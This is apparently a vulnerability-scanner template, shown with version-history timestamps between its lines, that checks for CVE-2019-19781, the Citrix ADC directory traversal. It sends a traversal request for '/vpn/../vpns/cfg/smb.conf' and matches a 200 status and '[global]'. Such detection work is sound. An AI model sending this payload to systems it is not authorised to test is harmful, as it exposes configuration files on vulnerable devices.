2021-01-02 04:59:06 +00:00
id : CVE-2019-19781
2020-04-05 22:27:04 +00:00
info :
name : Citrix ADC Directory Traversal
2022-02-16 19:14:13 +00:00
author : organiccrap,geeknik
2021-09-10 11:26:40 +00:00
severity : critical
2021-03-26 06:47:35 +00:00
description : An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
reference : https://support.citrix.com/article/CTX267027
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.80
cve-id : CVE-2019-19781
cwe-id : CWE-22
2022-02-16 19:24:50 +00:00
tags : cve,cve2019,citrix,lfi
2020-04-05 22:27:04 +00:00
requests :
- method : GET
2020-05-25 07:49:06 +00:00
path :
2020-04-05 22:27:04 +00:00
- "{{BaseURL}}/vpn/../vpns/cfg/smb.conf"
2022-02-16 19:24:50 +00:00
2022-02-16 19:11:06 +00:00
matchers-condition : and
2020-04-05 22:27:04 +00:00
matchers :
2022-02-16 19:11:06 +00:00
- type : status
status :
- 200
2022-02-16 19:24:50 +00:00
2020-04-05 22:27:04 +00:00
- type : word
2020-05-25 07:49:06 +00:00
words :
2020-04-08 16:40:31 +00:00
- "[global]"
